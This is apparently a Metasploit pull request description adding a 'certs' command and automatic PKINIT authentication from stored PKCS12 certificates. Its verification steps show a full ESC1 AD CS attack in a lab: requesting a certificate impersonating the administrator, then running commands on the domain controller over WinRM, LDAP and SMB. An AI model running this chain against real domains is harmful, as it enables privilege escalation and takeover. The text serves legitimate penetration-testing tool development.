WIP: Add certs command & use pkinit if kerberos tickets are not available in cache

[cdelafuente-r7]

This PR does two things:

1. Add a certs command, similar to klist, that displays and manages Pkcs12 certificates stored in the database.
2. Wire up Pkcs12 authentication through pkinit automatically when <protocol>::Auth option is set to kerberos and no related kerberos tickets is found in the cache. If a matching certificate is found, it will be used to get a TGT from the KDC using the pkinit protocol.

This PR is based on top of this PR. So, it includes extra commits present in this branch. To review the changes related to this PR only, you can look at the last commit.

certs command

This command list the available certificates stored in the creds database (use certs -v to display verbose output). It can also search a pkcs12 by ID or by username. Note that username can include the domain using the UPN format (e.g. [email protected]). The command can also be used to delete certificates.

Here is the help output:

msf6 auxiliary(scanner/smb/smb_login) > certs --help
List Pkcs12 certificate bundles in the database
Usage: certs [options] [username[@domain_upn_format]]


OPTIONS:

    -d, --delete   Delete *all* matching pkcs12 entries
    -h, --help     Help banner
    -i, --index    Pkcs12 entry ID(s) to search for, e.g. `-i 1` or `-i 1,2,3` or `-i 1 -i 2 -i 3`
    -v, --verbose  Verbose output

Automated Pkcs12 authentication

When the user sets <protocol>::Auth to kerberos , the original process will look into the cached tickets and try to find a suitable ticket to authenticate. If no ticket is found, it will use the credentials provided by the user to query fresh new tickets (TGT and TGS). Now, before requesting new tickets using these credentials, the module will look into the database if a pkcs12 certificate can be re-used to request these tickets. The process is transparent to the user. The look up is done based on the provided username and domain.

Verification

Request a certificate with the admin/dcerpc/icpr_cert module.

For example, exploiting the ESC1 vulnerability:

msf6 auxiliary(admin/dcerpc/icpr_cert) > run verbose=true CA=myca-name RHOSTS=10.100.32.94 username=msfuser password=vagrant CERT_TEMPLATE=ESC1 [email protected]
[*] Running module against 10.100.32.94
[*] 10.100.32.94:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.100.32.94:445 - Binding to \cert...
[+] 10.100.32.94:445 - Bound to \cert
[*] 10.100.32.94:445 - Requesting a certificate for user msfuser - alternate UPN: [email protected] - digest algorithm: SHA256 - template: ESC1
[+] 10.100.32.94:445 - The requested certificate was issued.
[*] 10.100.32.94:445 - Certificate UPN: [email protected]
[*] 10.100.32.94:445 - Certificate Policies:
[*] 10.100.32.94:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 10.100.32.94:445 - Certificate stored at: /home/n00tmeg/.msf4/loot/20241218141515_default_10.100.32.94_windows.ad.cs_544294.pfx
[*] Auxiliary module execution completed

Check the certs command

msf6 auxiliary(admin/dcerpc/icpr_cert) > certs
Pkcs12
======
id  username       realm           subject      issuer                               CA         ADCS Template
--  --------       -----           -------      ------                               --         -------------
21  administrator  mydomain.local  /CN=msfuser  /DC=local/DC=pro/DC=ad/CN=myca-name  myca-name  ESC1

Try to search certificate:

msf6 auxiliary(admin/dcerpc/icpr_cert) > certs [email protected]
Pkcs12
======
id  username       realm           subject      issuer                               CA         ADCS Template
--  --------       -----           -------      ------                               --         -------------
21  administrator  mydomain.local  /CN=msfuser  /DC=local/DC=pro/DC=ad/CN=myca-name  myca-name  ESC1

msf6 auxiliary(admin/dcerpc/icpr_cert) > certs -i 21
Pkcs12
======
id  username       realm           subject      issuer                               CA         ADCS Template
--  --------       -----           -------      ------                               --         -------------
21  administrator  mydomain.local  /CN=msfuser  /DC=local/DC=pro/DC=ad/CN=myca-name  myca-name  ESC1

Try to delete a certificate:

msf6 auxiliary(admin/dcerpc/icpr_cert) > certs -i 21 -d
Pkcs12
======
id  username       realm           subject      issuer                               CA         ADCS Template
--  --------       -----           -------      ------                               --         -------------
21  administrator  mydomain.local  /CN=msfuser  /DC=local/DC=pro/DC=ad/CN=myca-name  myca-name  ESC1

[*] Deleted 1 entry

Check the automated Pkcs12 authentication

Make sure you don't have any Kerberos ticket in cache:

msf6 auxiliary(admin/dcerpc/icpr_cert) > klist
Kerberos Cache
==============
No tickets

Use the scanner/winrm/winrm_cmd module to execute the whoami command on the target:

msf6 auxiliary(scanner/winrm/winrm_cmd) > run verbose=true RHOSTS=10.100.32.94 Winrm::Auth=kerberos Winrm::Rhostname=mspro-dc username=administrator domain=mydomain.local DomainControllerRhost=10.100.32.94 cmd=whoami
[*] Using stored certificate for [email protected]
[+] 10.100.32.94:88 - Received a valid TGT-Response
[*] 10.100.32.94:5985     - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20241218141549_default_10.100.32.94_mit.kerberos.cca_125955.bin
[+] 10.100.32.94:88 - Received a valid TGS-Response
[*] 10.100.32.94:5985     - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20241218141549_default_10.100.32.94_mit.kerberos.cca_751667.bin
[+] 10.100.32.94:88 - Received a valid delegation TGS-Response
[+] 10.100.32.94:88 - Received AP-REQ. Extracting session key...
ad\administrator
[+] Results saved to /home/n00tmeg/.msf4/loot/20241218141553_default_10.100.32.94_winrm.cmd_result_401191.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

You should see Using stored certificate for ... message.

Now, verify the ticket were stored in cache:

msf6 auxiliary(scanner/winrm/winrm_cmd) > klist
Kerberos Cache
==============
id  host          principal                   sname                             enctype  issued                     status  path
--  ----          ---------                   -----                             -------  ------                     ------  ----
44  10.100.32.94  [email protected]  krbtgt/[email protected]  AES256   2024-12-18 14:15:49 +0100  active  /home/n00tmeg/.msf4/loot/20241218141549_default_10.100.32.94_mit.kerberos.cca_125955.bin
45  10.100.32.94  [email protected]  http/[email protected]        AES256   2024-12-18 14:15:49 +0100  active  /home/n00tmeg/.msf4/loot/20241218141549_default_10.100.32.94_mit.kerberos.cca_751667.bin

If you re-run the module with the same options, it should now use the cached ticket instead of the certificate.

You can repeat the operation with the following modules:

• scanner/ldap/ldap_login
  Make sure the ldap_session_type feature is set and set the CreateSession option to true. Note that you will have to pass a fake password otherwise the module won't validate the options (see ldap/ldap_login module requires a password for schannel #19743)

run verbose=true RHOSTS=10.140.10.78 LDAP::Auth=kerberos username=administrator domain=ad.pro.local LDAP::Rhostname=mspro-dc password=foo DomainControllerRhost=10.140.10.78 CreateSession=true

Schannel can also be used the same way:

run verbose=true RHOSTS=10.140.10.78 LDAP::Auth=schannel username=administrator domain=ad.pro.local password=foo ssl=true

• scanner/smb/smb_login

run verbose=true RHOSTS=10.140.10.78 SMB::Auth=kerberos username=administrator domain=ad.pro.local password=foo Smb::Rhostname=mspro-dc DomainControllerRhost=10.140.10.78 CreateSession=true

TODO

I noticed the credentials are being saved in the database when using kerberos authentication with the scanner/ldap/ldap_login and scanner/smb/smb_login. This will need to be fixed.